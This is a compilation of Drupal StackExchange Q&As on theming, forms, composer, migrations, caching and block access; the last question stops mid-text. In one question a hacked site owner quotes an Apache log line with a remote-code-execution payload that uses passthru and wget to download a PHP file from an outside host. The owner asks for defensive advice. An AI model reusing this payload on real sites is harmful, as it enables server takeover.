# Question
Title: How do I get each taxonomy term associated to a node?
I'm trying to add a preprocess hook to add classes based on taxonomy name to the body css of my drupal installation. I've managed to get all the information about the node based on doing some searching around and trial and error, but I'd like to take it to the next step and get all the taxonomy terms based on the particular node id.

The code I am currently using is the following.

```
function custom_preprocess_html(&$variables) {
  // Add the node ID and node type to the body class.
  $body_classes = [];
  $nodeFields =\Drupal::service('current_route_match')->getParameter('node')->toArray();

  if (is_array($nodeFields) && count($nodeFields) > 0) {
    if (isset($nodeFields['nid'])) {
      $body_classes[] = 'node-' . $nodeFields['nid'][0]['value'];
    }
    if (isset($nodeFields['type'])) {
      $body_classes[] = $nodeFields['type'][0]['target_id'];
    }
  }

  $variables['attributes']['class'] = $body_classes;
}

```

It works fine and pulls down the information regarding the node. Based on the answer here it seems like all I should have to do is add the following line to get the taxonomy terms: `$taxonomyTerms = $nodefields->get('field_yourfield')->referencedEntities();` but when I do so Drupal throws an error. I'll freely admit I'm new to Drupal 8, so any suggestions about where I'm going wrong (is field\_yourfield not something that exists, maybe?) would be greatly appreciated.

# Answer
> 4 votes
Don’t convert the node to an array, use the node object itself. Then methods will work.

```
// top of file...
use Drupal\node\NodeInterface;

function custom_preprocess_html(&$variables) {
  $node = \Drupal::routeMatch()->getParameter('node');

  if ($node instanceof NodeInterface) {
    $type = $node->getType();
    $id = $node->id();
    $terms = $node->get('field_yourfield')->referencedEntities();
    // code here for $terms...

    $body_classes[] = 'node-' . $id;
    $body_classes[] = $type;
    // ... etc ...
  }
}

```

I assume `type` is node type.. but this is where you want to be. `$terms` should be a list of `Term` objects, so you can iterate and grab whatever data you need.

You should also check that the node type is the correct one before doing anything as well as checking for existence of the field to avoid errors.

---
Tags: 8, theming
---


# Question
Title: How to default checkboxes to checked while maintaining custom return value
I'm working on a migration project. I have a form in a custom module that creates a series of checkboxes for URLs to scrape. The form logic looks like this:

```
foreach ( \Drupal\scrape\Api\Scraper::loadUrls() as $index => $url ) {
  $form['url_' . $index] = [
    '#type' => 'checkbox',
    '#title' => $url . ' — ' . \Drupal::l('(link)', Url::fromUri($url)),
    '#return_value' => $url,
  ];
}

```

This code does what I want it to do, but all the checkboxes default to 'unchecked'.

```
'url_0' => integer0
'url_1' => string(27) "https://myurl1.com"
'url_2' => integer0

```

I want these checkboxes to default to checked. I couldn't find documentation on how to do it in Drupal 8, so I tried several things, and finally hit upon `'#checked' => TRUE,` (or any value that evaluates truthily). Now the checkboxes are defaulting to checked.

However, even though I have `#return_value` specified, the value returned in the form submission is now `TRUE` (from kint):

```
'url_0' => boolTRUE
'url_1' => boolTRUE
'url_2' => boolTRUE

```

Since any truthy value defaults the checkbox to checked, I tried `'#value' => $url,` but then upon submission, the values don't indicate their checked status:

```
'url_0' => string(86) "https://myurl0.com"
'url_1' => string(27) "https://myurl1.com"
'url_2' => string(29) "https://myurl2.com"

```

I guess my final option is to have a separate, hidden value for each URL, and map checkbox values to see if the user wants that URL included.

Is there a way I can default my checkboxes to TRUE, while maintaining their `#return_value`?

# Answer
> 0 votes
I guess you can't. I just created hidden fields, and mapped them in the submit.

This is what I basically did:

```
public function submitForm(array &$form, FormStateInterface $form_state) {

  $values = $form_state->getValues();

  $i = 0;

  while ( TRUE ) {
    if ( ! isset($values['checkboxes'][$i] ) {
      break;
    }
  }
}

```

That's not verbatim but basically what I did. Simple looping and checking for the checkbox value.

# Answer
> 3 votes
Sorry for such a late response but it is possible, I ran into this same issue using 8.5.3 the below configuration worked for me. You just have to use both together, i successfully passed numbers, text, bool (becomes 0 or 1), and arrays through #return\_value. The class was just for formatting, you can leave that out if you're not using it.

```
'checkbox_1' => [
    '#type' => 'checkbox',
    '#title' => t('Checkbox 1'),
    '#default_value' => 1,         // Default to checked
    '#return_value' => "checked",  // Return the value if checked
    '#attributes' => ['class'=>['check_group']],
],
'checkbox_2' => [
    '#type' => 'checkbox',
    '#title' => t('Checkbox 2'),
    '#default_value' => 0,         // Default to unchecked
    '#return_value' => "checked",  // Return the value if checked
    '#attributes' => ['class'=>['check_group']],
],

```

Output will look like this if you dpm($form\_state-\>getValues()) in your submit or validate function.

```
Array
(
    [checkbox_1] => checked
    [checkbox_2] => 0
)

```

# Answer
> 1 votes
You should use the `#default_value` property. E.g:

```
 $form['demo'] = [
    '#type' => 'checkbox',
    '#title' => $this->t('Demo'),
    '#default_value' => TRUE,
 ];

```

---
Tags: 8, forms
---


# Question
Title: Can't get validation errors back from an AJAX form
I have a Drupal form that should submit via AJAX. I want to validate the input is correct. A few things are happening:

* The `validateForm` method is being hit
* I'm not able to see the errors in the form with `getErrors`
* I want to validate the input, and if an error occurs, flash a message in the form that it is invalid
* On success, I want to replace the form with a success message (but its not getting that far)

Here is my form code:

```
<?php

namespace Drupal\harlib_newsletter_signup\Form;

use Drupal\Core\Form\FormBase;
use Drupal\Core\Form\FormStateInterface;

/**
 * Class NewsletterSignup.
 */
class NewsletterSignup extends FormBase {

  public $uniqueIdentifier = 'no_tagline';

  /**
   * {@inheritdoc}
   */
  public function getFormId() {
    return 'newsletter_signup_' . $this->uniqueIdentifier;
  }

  /**
   * {@inheritdoc}
   */
  public function buildForm(array $form, FormStateInterface $form_state) {

    if ($this->uniqueIdentifier == "with_tagline") {
      $show_tagline = TRUE;
    }
    else {
      $show_tagline = FALSE;
    }

    $wrapper = 'ajax-wrapper-' . $this->uniqueIdentifier;

    $form['#prefix'] = '<section class="hl__single-input-form"><div id="' . $wrapper . '">';
    $form['#suffix'] = '</div></section>';

    $form['#attributes']['class'][] = 'hl__single-input-form__form';
    $form['#attributes']['novalidate'] = 'novalidate';

    $form['title'] = [
      '#type' => 'label',
      '#for' => 'edit-email-address',
      '#title' => 'Stay in the know',
      '#attributes' => [
        'class' => [
          'hl__label',
          'hl__label--inline',
        ],
      ],
    ];

    if ($show_tagline) {
      $form['tagline'] = [
        '#markup' => '<div class="hl__single-input-form__helper-text">Sign up for email updates from MySite</div>',
      ];
    }

    $errors = $form_state->getErrors();

    if ($errors = $form_state->getErrors()) {
      $form['errors'] = [
        '#markup' => $errors['email_address'],
      ];
    }

    $form['email_address'] = [
      '#type' => 'email',
      '#size' => NULL,
      '#required' => TRUE,
      '#attributes' => [
        'placeholder' => $this->t('Email'),
        'class' => [
          'hl__input',
          'hl__input--inline',
          'js-is-required',
        ],
        'data-twig-suggestion' => 'newsletter_signup_email',
      ],
      '#prefix' => '<div class="hl__single-input-form__input-group">',
    ];

    $form['submit'] = [
      '#type' => 'button',
      '#value' => $this->t('Sign up'),
      '#submit' => ['::submitForm'],
      '#attributes' => [
        'class' => [
          'hl__button',
          'hl__button--small',
          'hl__button--inline',
        ],
        'data-twig-suggestion' => 'newsletter_signup_submit',
      ],
      '#suffix' => '</div>',
      '#ajax' => [
        'wrapper' => $wrapper,
        'method' => 'replace',
        'callback' => '::ajaxRebuildForm',
        'progress' => [
          '#type' => 'none',
        ],
      ],
    ];

    return $form;
  }

  /**
   * {@inheritdoc}
   */
  public function validateForm(array &$form, FormStateInterface $form_state) {
    $email_value = $form_state->getValue('email_address');

    if (empty($email_value) || !\Drupal::service('email.validator')->isValid($email_value)) {
      $form_state->setError($form['email_address'], $this->t('Please enter a valid email address.'));
    }

    if (mailchimp_is_subscribed('XXXXXXX', $email_value, TRUE)) {
      $form_state->setError($form['email_address'], $this->t('You are already subscribed to our newsletter.'));
    }
  }

  /**
   * {@inheritdoc}
   */
  public function submitForm(array &$form, FormStateInterface $form_state) {
    $result = mailchimp_subscribe('XXXXXXX', $form_state->getValue('email_address'));

    if (empty($result)) {
      $form_state->setError($form['email_address'], $this->t('You are already subscribed to our newsletter.'));
    }
    else {
      drupal_set_message($this->t('Thank you for subscribing to our newsletter!'));
    }
  }

  public function ajaxRebuildForm(array $form, FormStateInterface $formState) {
    return $form;
  }

}

```

Is `ajaxRebuildForm` necessary? How can I validate this? Is `setError` still workable in an ajax submit?

EDIT: I've updated the validateForm method to use AjaxResponse. Nothing is happening on my screen.

```
  /**
   * {@inheritdoc}
   */
  public function validateForm(array &$form, FormStateInterface $form_state) {
    $response = new AjaxResponse();
    $email_value = $form_state->getValue('email_address');

    if (empty($email_value) || !\Drupal::service('email.validator')->isValid($email_value)) {
      //$form_state->setError($form['email_address'], $this->t('Please enter a valid email address.'));
      //$form_state->setRebuild();
      $response->addCommand(new CssCommand('.hl__single-input-form__input-group', ['border' => '3px solid red']));
      $response->addCommand(new AlertCommand('Heyoooo'));
      return $response;
    }

    if (mailchimp_is_subscribed('XXXXXXX', $email_value, TRUE)) {
      $form_state->setError($form['email_address'], $this->t('You are already subscribed to our newsletter.'));
    }
  }

```

# Answer
> 2 votes
This actually turned out to be a combination of a few things:

1. I was using this form more than once on the same page
2. It is an AJAX form, so the submit needed to be unique.

Adding:

`$form['submit_' . $this->uniqueIdentifier]` instead of `$form['submit']` resolved the issue. I now get AJAX errors on both, and both submit correctly.

# Answer
> 0 votes
It's probably `mailchimp_is_subscribed` that is breaking it. I tried the code myself with a slight change:

```
  /**
   * {@inheritdoc}
   */
  public function validateForm(array &$form, FormStateInterface $form_state) {
    $email_value = $form_state->getValue('email_address');

    if (empty($email_value) || !\Drupal::service('email.validator')->isValid($email_value)) {
      $form_state->setError($form['email_address'], $this->t('Please enter a valid email address.'));
    }

    else {
      if (mailchimp_is_subscribed('XXXXXXX', $email_value, TRUE)) {
        $form_state->setError($form['email_address'], $this->t('You are already subscribed to our newsletter.'));
      }
    }
  }

```

If this does not change the behavior on your system, change the default theme and test it.

Your theme may be not printing the errors. If it does, then you might be missing the messages highlighted region from your template. Search for `{{ page.highlighted }}` in your theme or it's parent and make sure it's printed.

---
Tags: 8, forms
---


# Question
Title: How do I change a form name attribute to something else?
I'm using a Drupal 6 custom form, and I want to change the form name attribute to something else. Is this possible?

For example, I have this.

```
<input type="text" name="field" maxlength="128" id="edit-name" value="">

```

I want to change it to the following.

```
<input type="text" data-name="field" maxlength="128" id="edit-name" value="">

```

# Answer
You shouldn't remove the `name` attribute. But you can add a data-attribute by using hook\_form\_alter:

```
function mytheme_form_alter(&$form, $form_state, $form_id) {
  if ($form_id == 'myform') {
    $form['myfield']['#attributes']['data-name'] = 'value';
  }
}

```

If it is a form you made yourself with Form API, then you can just do it in the form builder function:

```
$form['myfield'] = array(
  // properties...
  '#attributes' => array(
    'data-name' => 'value',
  )
);

```
> 1 votes

---
Tags: forms, 6
---


title: Get Field Collection values not IDs

text:
# Question
Title: Get Field Collection values not IDs
I am searching for a solution for past few days but can't find it :(

I have exposed a node with rest api views and there's a couple of field collections inside my node which i want to access over API but the api is retuning field collection IDs not the actual data. How can i get the values of field collection without sending aother request to api for values?

```
"field_custom_data": {

"und": [

 {
   "value": "3",
   "revision_id": "3"
 },
 {
   "value": "4",
   "revision_id": "4"
 },
 {
   "value": "5",
   "revision_id": "5"
 },
 {
   "value": "6",
   "revision_id": "6"
 },
 {
   "value": "7",
   "revision_id": "7"
 },
 {
   "value": "8",
   "revision_id": "8"
 }
] },

```

# Answer
> 0 votes
Before returning response to api you should load field collection using field collection ID, then you can get fields value of field collection.

```
entity_load('field_collection_item', array($item_id))

```

**Source:** How to load field collection

---
Tags: entities
---


# Question
Title: Best Practices for Acquia: Reconciling Production Database back to Dev before update; what is the workflow?
In about a week, I have to update several production sites hosted in AcquiaCloud environments to 8.5.3. All of these sites receive frequent real-time DB writes from user-submitted content. I can request that the site be put into maintenance mode to limit user interactions with the DB, but I cannot, under any circumstance, lose any data whatsoever during the process of upgrading production to 8.5.3 from 8.4.3.

There are, as you know, several db schema changes/updates between the two versions and I am using modules in these sites that frequently alter the schemata between releases; i.e. Multiversion/Revisions, Workspaces, Workflow Moderation, etc.

What is the best practice to pull down my production database, reconcile it and get it working against my dev 8.5.3 environment, and safely send it back up to prod? Getting 8.5.3 working with the current schema of the production 8.4.3 site took a ridiculous amount of debugging, troubleshooting, and work to get a mostly-functional site. I feel like I'm missing something here. Can anyone offer advice on reconciling my two environment databases? Thanks in advance, any help is appreciated!

# Answer
The only ways I see for you to do it properly on Acquia are :

* Automation
* Maintenance mode

You will either need to be able to pull a copy of the database down to the staging environment, deploy the code change and do the updates without having to change anything manually OR put the production site down while you update them.

I know no easy tool to resync content between two installation of Drupal that won't assure you at 100% you have not lost data.

If data integrity is important, put the site down, update them then put them online. It's always better to show a "maintenance in progress" message to users than errors or send out a message about lost data.
> 0 votes

---
Tags: database, migrations, updating, configuration, acquia-cloud
---


# Question
Title: How do I create a cache context in Drupal 8 that varies on user/node field data?
Let's say I have a complex render array that has two variations that depend on a simple if: whether the logged in user can edit a node inside it. There are two scenarios I look for:

1. The node was created by the logged in user, or:
2. The node's field\_group (entity reference) matches the logged in user's field\_group.

These two conditions are independent of roles/permissions so I can't fall back on those contexts. Originally, I simply used the "user" context but this would create far too much variation and potentially lead to a very large database table (not to mention it was inefficient to have to cache this again for every user).

I imagine I would need to create a context like: "caneditnode:nid" and somehow pass nid to a handler that would load the Node to check its fields and owner and compare to the data in Drupal::currentUser(). Is that possible? How would I go about doing this? Thanks!

# Answer
> 3 votes
You can add a cache key for the two scenarios

```
$build['#cache']['keys'][] = $canedit ? 'caneditnode' : 'cannoteditnode';

```

and build the complex render array in a #pre\_render callback. See https://dev.acquia.com/blog/drupal-8-performance-render-caching

# Answer
> 8 votes
A cache key is not the right solution as `dynamic_page_cache` won't vary on the right things.

What you do is:

You create a custom cache context (see `core.services.yml` for many examples), which itself is dependent on the \[route\] and \[user\] cache context (as it needs to check the node).

e.g. `cookies:[cookie_name]` is a good example. (https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Cache%21Context%21CookiesCacheContext.php/class/CookiesCacheContext)

In that way you can have indeed a:

`caneditnode:[entity_id]`

Whenever this cache context is used, your handler is checked and needs to return the right information based on the given Context.

If `caneditnode` is given as cache context without context it could just throw an Exception or fallback to \['user', 'route'\] as that is what it depends on.

In `getCacheableMetadata` you would just return the node cacheable metadata and the user.roles.

See https://api.drupal.org/api/drupal/core%21core.services.yml/service/cache\_context.user.permissions for an example of a cache context, which itself depends on other data, which can be invalidated.

---
Tags: 8, caching
---


title: Migration fails to copy any node

text:
# Question
Title: Migration fails to copy any node
I am trying to migrate a measily 200nodes from a Drupal 6 site to the latest Drupal 8. The web based Migrate seems to be partially working in that I have the users migrated, content types, but none of the content/nodes did. I get these errors.

> Operation on Node revisions (page) failed
>
> Migration d6\_node\_revision:page did not meet the requirements. Missing migrations d6\_node:page. requirements: d6\_node:page.

> Operation on Nodes (page) failed
>
> Migration d6\_node:page did not meet the requirements. Missing migrations d6\_user. requirements: d6\_user.

I am also quite often getting an AJAX timeout after less than 60 seconds. I don't know if one is causing the other or what. It sounds like they are separate problems.

(I am using Krystal hosting in the UK. I can pick whatever PHP I want; I tried 5.6 and 7.2.) The web server is Lightwave, I think.

I don't really know what to do with this as I don't really know what that message means.

Do you have any suggestion for diagnosing more and getting a better understanding of the problem?

PS: This evening I successfully migrated a Drupal 7 site to Drupal 8, but using a different host.

# Answer
In migrations, programmatically you can make requirements so a migration cannot be ran until another migration has already been ran (migrated).

> Operation on Nodes (page) failed followed by Migration d6\_node:page did not meet the requirements. **Missing migrations d6\_user. requirements: d6\_user.**

So what this error is saying is you need to run `d6_user` first; before you can run `d6_node:page`.

Why you might ask? Because nodes have authors, so the user's need to be already migrated so the node can set the authors. Otherwise, you would end up with nodes that don't have authors.

> Migration d6\_node\_revision:page did not meet the requirements. **Missing migrations d6\_node:page. requirements: d6\_node:page.**

Like wise here, you can't have a revision until a node exists. So you need to run `d6_node:page` before running `d6_node_revision:page`
> 1 votes

# Answer
Of the errors reported the one to sort out first is d6\_user. Check the logs for any errors concerning the user migration? If you can use drush, you can `drush mmsg d6_user` to display the error messages.
> 0 votes

---
Tags: 8, migrations, debugging
---


# Question
Title: How to require a JS library in a composer.json file
I'm trying to require a 3rd-party JS library in my module. Unfortunately, the library is not available as a composer package.

I tried to define the library in my module's composer.json file like the following:

```
{
  ...
  "require": {
    "VENDORNAME/PACKAGENAME": "1.2.3"
  },
  "repositories": [
    {
      "type": "composer",
      "url": "https://packages.drupal.org/8"
    },
    {
      "type": "package",
      "package": {
        "name": "VENDORNAME/PACKAGENAME",
        "version": "1.2.3",
        "type": "drupal-library",
        "dist": {
          "url": "https://github.com/VENDORNAME/PACKAGENAME/archive/1.2.3.zip",
          "type": "zip"
        }
      }
    }
  ]
}

```

But, composer did a bit of complaining about that, and didn't even install the module:

```
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Installation request for drupal/MYMODULE 1.x-dev -> satisfiable by drupal/MYMODULE[1.x-dev].
    - drupal/MYMODULE 1.x-dev requires VENDORNAME/PACKAGENAME 1.2.3 -> no matching package found.

Potential causes:
 - A typo in the package name
 - The package is not available in a stable-enough version according to your minimum-stability setting
   see <https://getcomposer.org/doc/04-schema.md#minimum-stability> for more details.
 - It's a private package and you forgot to add a custom repository to find it

Read <https://getcomposer.org/doc/articles/troubleshooting.md> for further common problems.

Installation failed, reverting ./composer.json to its original content.

```

I should mention that I base this on **Webprofiler** module (Devel's sub-module). Though, in its README, it instructs defining those packages in the main composer.json file.

I want to define the JS library as a module requirement in module's composer.json file.

How can I require a code from a Git repository as if it is a composer package, and use it in my module's composer.json file?

# Answer
The instruction in Webprofiler completely right and it's referral to composer.json in the root directory, here another example to add react to Drupal:

```
    {
        "type": "package",
        "package": {
            "name": "facebook/react",
            "version": "v16.3.2",
            "type": "drupal-library",
            "dist": {
                "url": "https://github.com/facebook/react/archive/v16.3.2.zip",
                "type": "zip"
            }
        }
    }

```

After that, I run:

```
composer require --prefer-dist facebook/react:16.3.*

```

Completely works fine and the package was download to libraries folder.

From what you posted I can see that you did not add the package information.

This need to be changed VENDORNAME/PACKAGENAME so in the above example:

VENDORNAME is facebook

PACKAGENAME is react

here is how you get this information, the attached image from React Github repository

also, you can find that information in the repository URL.

here is the full repositories part I have it in one of the projects I'm working on:

```
 "repositories": [
        {
            "type": "composer",
            "url": "https://packages.drupal.org/8"
        },
        {
            "type": "package",
            "package": {
                "name": "d3/d3",
                "version": "v3.5.17",
                "type": "drupal-library",
                "dist": {
                    "url": "https://github.com/d3/d3/archive/v3.5.17.zip",
                    "type": "zip"
                }
            }
        },
        {
            "type": "package",
            "package": {
                "name": "facebook/react",
                "version": "v16.3.2",
                "type": "drupal-library",
                "dist": {
                    "url": "https://github.com/facebook/react/archive/v16.3.2.zip",
                    "type": "zip"
                }
            }
        },
        {
            "type": "package",
            "package": {
                "name": "components/highlightjs",
                "version": "9.7.0",
                "type": "drupal-library",
                "dist": {
                    "url": "https://github.com/components/highlightjs/archive/9.7.0.zip",
                    "type": "zip"
                }
            }
        }

    ]

```

If your module defines external dependencies which not hosted on Packagist or Drupal.org then Drupal core will not automatically discover or manage these dependencies.

You must use the wikimedia/composer-merge-plugin package to accomplish this. This plugin is installed with Drupal core.

Thats why in Webprofiler module they add the instruction to readme not to the composer.json in Webprofiler directory.
> 4 votes

---
Tags: 8, composer
---


# Question
Title: what is the equivalent for category in wordpress in drupal websites?
to boost the ranking for a specific keyword we should create categories in wordpress. how should I make a category in drupal? There are only tags. Are tags in drupal the same as categories in wordpress? If so it means that I should implement all the SEO considerations to set up the keywords? for exp not using a keyword both for meta keyword and tag or assigning two tags to a simple article.

# Answer
> 1 votes
Everything you mention in your question is a Taxonomy, a way to sort your content into meaningful groups. This mostly helps to improve site navigation, discoverability and consequently clarifies what the website it about (boosting a keyword ranking might be too strong of a claim).

In WordPress, it's custom to name the main Taxonomy Vocabulary as `Categories` (they can be hierarchical) and to have additional Taxonomy Vocabulary `tags` that are optional and sort the content into categories that aren't necessarily closely related to the website main topics.

In Drupal, Taxonomy module allows you to create your own Vocabularies and use them as you see fit. You get the Vocabulary named `Tags` out of the box, but don't let that name confuse you. You can use `Tags` as your main Categories Vocabulary. You can also rename the label "Tags" into "Categories" (machine name will remain `tags` but that isn't user-facing).

Or simply don't use `Tags` Vocabulary anywhere, delete the field from Articles content type that references it. Create all new Vocabularies, name them as you like (Categories, and Tags, with different machine name) and use them the same way as you did in WordPress.

There are no **technical** differences between terms coming from different Vocabularies. A term from Categories, and a term from Tags is linked to an article in the same way technically.

The SEO value of using Taxonomy is in how smart you are about categorizing your content, knowing your visitors and offering them what they expect/want/value.

---
Tags: taxonomy-terms
---


# Question
Title: Scroll to search results on Views Exposed Filter submit button
Hi I've made an 'Advanced Search' using Views + Display Suite in Drupal 7.

https://www.oldertenants.org.au/research-library-advanced-search

There's too many search filters so the default behavior of the submit button scrolling the user back to the top of the #content div confuses the user to think there are no search results.

How can I scroll the user to the results div instead (i'd also have to work out how to include a #results id in the results div) - or perhaps just not link to any div, simply refresh the results?

It would be ideal to achieve this using ajax but if its easy not a problem to be refreshing the page on search.

Thanks in advance for any suggestions!

# Answer
> 2 votes
You can do this in your theme when the page loads and has search results

Create *search\_results.js*

```
(function ($) {

  'use strict';

  $(document).ready(function() {
    if( $('.views-row-1').length ){
      $("html, body").animate({ scrollTop: $(".views-row-1").offset().top }, "slow");
    }
  });

}(jQuery));

```

which on page load sees if the first result is not empty and scrolls to it

Load file on specific view page

In your *template.php*

```
function THEMENAME_preprocess_views_view(&$vars) {
  $view = &$vars['view'];
  // Make sure it's the correct view
  if ($view->name == 'view_resources_advanced_search') {
    drupal_add_js(drupal_get_path('theme', 'THEMENAME') . 'js/search_results.js');
  }
}

```

Of course make sure you change THEMENANE and make sure the view machine name is correct in the template.php file

# Answer
> 0 votes
A different approach to solving this problem is to position the Exposed filters in the sidebar, instead of on the top of the results. You can do that using the option `Exposed form in block`.

That way Views results will always come to the top of the page, while filters will be displayed next to them (on wide screens at least).

This is assuming that restructuring your Advanced search page is an option. If "Featured Resources" isn't adding a lot of value, or isn't necessary to bait visitors away from the page, you can push those blocks down below the Exposed filters, or remove completely.

You can also use modules that add Autosubmit option for Exposed filters so results change faster, as soon as you change options, without the need to click on the "Submit" button. Better Exposed Filters is such a module. You can also group exposed filters into a collapsible fieldset that is closed on first load, getting the options that aren't often needed out of the way while still having them available if needed.

---
Tags: 7, javascript, views, ajax
---


title: Hide language for anonymous users

text:
# Question
Title: Hide language for anonymous users
How do I hide a language from anonymous users while I'm working on the translation?

I want the language only to be displayed in the language switcher block and the links to be active, while you are logged in as an administrator, so that they can check the translation while they are working on it.

# Answer
> 2 votes
On our site, we're using the Language Dropdown module to display translation links.

When we want a language to be accessible to authenticated users only, so that they can translate the contents before showing them to site visitors, we hack the module this way, in lang\_dropdown.module, line 192 :

```
  // @TODO TEMPORARY FIX TO DISABLE ITALIAN TO ANONYMOUS USERS
  global $user;
    if ($user->uid == 0) {
    unset($languages->links['it']);
  }
  // ENDTODO
  //
  // Now we iterate on $languages to build the needed options for the select element.
  foreach ($languages->links as $lang_code => $lang_options) {

```

Be aware that in this case, the italian contents are not really hidden for someone who would know their paths, but it's sufficient for us.

# Answer
> 0 votes
There is also 2 modules that can help with this

## language\_access

which gives permissions per language

## hidden\_language

which give permissions as to what roles can access hidden languages

They are both working in Drupal 7 and 8 and they are able to hide those pages from anonymous and bots.

---
Tags: i18n-l10n
---


# Question
Title: How can I include a third party library in my custom module without using Composer Manager
I'm trying to create a custom Twitter Pull module in Drupal 8. I would like to include https://github.com/abraham/twitteroauth.

I can't seem to get it working adding it via composer in the root composer.json file, or by using Composer Manager and creating a composer.json file in my module root, so for the sake of this question, how else can I include and make use of the library?

Can I add a dependency to my custom module .yml file?
How would I handle the namespacing/autoloading for this library in my custom module?

# Answer
> 1 votes
### General: Composer Merge Plugin

In your Drupal's main `composer.json` you can use the Composer Merge Plugin to scan certain directories for `composer.json` files and merge them into your main `composer.json`.

You'd then have a `composer.json` in your custom module requiring the 3rd party library. In your root `composer.json` you require the merge plugin and configure it under the `extra` section to include certain directories.

```
{
    "require": {
        "wikimedia/composer-merge-plugin": "dev-master"
    },
    "extra": {
        "merge-plugin": {
            "include": [
                "web/modules/custom/*/composer.json"
            ]
        }
    }
}

```

### Optional: Composer Custom Type Installer

If the 3rd party library in your custom module is available on GitHub and you want to define a location where the lib should to be downloaded to (extra helpful especially for all front-end libs) you can use Composer Custom Type Installer in your main `composer.json`.

You'd then require the 3rd party library in the `repositories` section in your custom module's `composer.json` assigning it a package `type` you pre-configured in the `extra` section of your main `composer.json` to define a location where the lib should be downloaded to.

```
"repositories": [
    {
        "type": "package",
        "package": {
            "name": "select2",
            "version": "4.0.3",
            "type": "theme-library",
            "source": {
                "url": "https://github.com/select2/select2.git",
                "type": "git",
                "reference": "tags/4.0.3"
            }
        }
    }
]

```

And the corresponding `extra` section in the main `composer.json`:

```
"extra": {
    "custom-installer": {
        "theme-library": "web/themes/custom/MYTHEME/libs/{$name}"
    }
}

```

---

Of course, for simplicity you could also do everything (`composer-merge-plugin` and `custom-installer` and requiring the GitHub repo) just from you main `composer.json`. I'd recommend that.

If you do so, then run at least once `composer require PACKAGENAME` (in my example `composer require select2`) after you manually incorporated the lib into the `composer.json` file.

---

Last but not least, don't forget to bind your library with `MYMODULE.libraries.yml` and `hook_page_attachments` (latter called from `MYMODULE.module`). See Adding stylesheets (CSS) and JavaScript (JS) to a Drupal 8 module.

---
Tags: 8, composer
---


# Question
Title: Installing an alpha dev version with composer
Block class module has a 8.x-1.x-dev version. Installing using the recommended command from the specific release page

```
composer require 'drupal/block_class:1.x-dev'

```

installs a versionless block\_class.

Why is that and what are the implication on future `composer update` ?

**UPDATE:** when installing with drush

```
drush dl block_class --select

```

and choose latest dev version that version is `1.0-alpha1+10-dev` how can one install the latest alpha-dev ?

# Answer
As I said, just don't specify a version and composer will automatically pick a version constraint that installs the most stable version:

```
$ composer require drupal/block_class
Using version ^1.0@alpha for drupal/block_class
./composer.json has been updated
Gathering patches for root package.
> DrupalProject\composer\ScriptHandler::checkComposerVersion
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 1 install, 0 updates, 0 removals
Gathering patches for root package.
Gathering patches for dependencies. This might take a minute.
  - Installing drupal/block_class (1.0.0-alpha1): Loading from cache
Writing lock file
Generating autoload files
> DrupalProject\composer\ScriptHandler::createRequiredFiles

```
> 4 votes

---
Tags: 8, updating, installation, composer
---


# Question
Title: Is it possible or/and how to restrict access to the block on th certain page using route name?
I am trying to restrict access to the block to be accessible only on the `route:entity.user.canonical` route.

Is it possible to define that on the block edit form?

# Answer
There is no UI for it, but you can either write your own condition plugin to do that or implement hook\_block\_access() like this:

```
function yourmodule_user_block_access(BlockInterface $block, $operation, AccountInterface $account) {

  $hidden_blocks = ['yourtheme_block_id'];
  $hidden_routes = ['entity.user.canonical'];

  if ($operation == 'view' && in_array($block->id(), $hidden_blocks) && in_array(\Drupal::routeMatch()->getRouteName(), $hidden_routes)) {
    return AccessResult::forbidden();
  }
}

```
> 4 votes

---
Tags: 8, users, blocks, routes
---


title: Sites hacked across login pages

text:
# Question
Title: Sites hacked across login pages
My Drupal 7 sites were hacked many times, and I find everytime some files created by the hackers. Even though I did the security update, that didn't prevent the hackers to access to the server. Recently I saw the Apache log and I found some serious security problems. They try accessing across the login form on /user and some files in the file module folder.

> POST /?q=user/password&name\[%23post\_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=wget%20-c%20g.wpblogapi.com/acui/innc.zip%20-O%20tmps.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

> GET /modules/file/tests/lbuzsboe.php HTTP/1.1" 404 - "..../modules/file/tests/lbuzsboe.php

Please provide me your suggestions to resolve this problem. I have no experience on web security.

# Answer
> 1 votes
I had this problem before with some friend about files folder

The solution to this problem is:

1.- in your apache conf or nginx conf or .htaccess disable all formats php in the path `/files/*`

2.- if you have the opportunity change the permissions to the folder but the first point works, they will upload files php but, they will not run it.

3.- remove estrange files php and search for every file that contains text like base64, search something about this in google or other searcher.

They enter by a port using exploits and add a file like image.php.jpg, and after the file is uploaded, they change the name to `image.php` (it is not the real name but you get the idea).

That file is an php form, they upload files php through it, like a command line and do a lot of things...

I hope this help you.

---
Tags: 7, security
---


# Question
Title: Install multiple apps on a Bitnami stack
I am currently transitioning from my Ubuntu 16..04 LAMP Server to a Bitnami 7.59 Drupalstack. However, I discovered that Bitnami does NOT provide instructions / FAQ on how to install multiple Drupal apps onto a single Bitnami Drupalstack, while "snubbingly" providing an instructional FAQ on how to add multiple Joomla Apps onto a single BitnamiJoomlastack... :0

(*I am using an Ubuntu 16.04 host with Virtualbox5.1 and Ubuntu16.04 guest to run Bitnami drupalstack7.59*)

Therefore, for all you hardcore drupalers I would like to write my own set of docs on how to add multiple Drupal apps onto a single Bitnami Drupalstack.

**One Problem:**

*How* do I actually install multiple Drupal apps onto a Btinami Drupalstack?

I was told by Bitnami Community folks that I should simple exchange "joomla" for "drupal" and follow this FAQ which of course did not work.

Along the way, I created my documentation but troubleshooting back-end Bitnami servers is out of my league.

Below are my own configuration notes, derived from attempting follow the bitnami joomla instructions *(i feel dirty..)*

Can anyone troubleshoot where I am going wrong?

All I get is error code 404 when I try to visit the newly configured Drupal App... `http://127.0.0.1:8080/drupal1/`

My Steps To Create Additional Drupal Apps in Bitnami Drupal7Stack

New Document Root /opt/bitnami/apps/joomla1/htdocs translates to /home/username/drupal7stack/apps/drupal/htdocs/

**Rename default drupal app**

1. sudo mv /home/username/drupal7stack/apps/\[drupal-site-name\] /home/username/drupal7stack/apps/\[drupal1-site-name\]

**Modify config file located at /home/username/drupal7stack/apps/\[drupal1-site-name\]/conf/httpd-prefix.conf**

2. gedit /home/username/drupal7stack/apps/\[drupal1-site-name\]/conf/httpd-prefix.conf

**FILE CONTENT{truncated}:**

```
